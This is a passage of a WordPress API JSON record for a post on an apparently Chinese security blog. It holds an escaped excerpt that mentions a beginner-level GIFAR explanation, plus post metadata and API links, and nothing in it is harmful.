66e\u53ca\uff0c\u66f4\u83dc\u9e1f\u5316\uff0c\u5c31\u6709\u4e86\u8fd9\u7bc7<\/span>GIFAR<\/span>\u8be6\u89e3\u3002<\/span><\/p>\n


              \n<\/span><\/p>\n

              \u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[84,5],"tags":[15,19,21,20],"views":7768,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/124"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=124"}],"version-history":[{"count":1,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/124\/revisions"}],"predecessor-version":[{"id":245,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/124\/revisions\/245"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}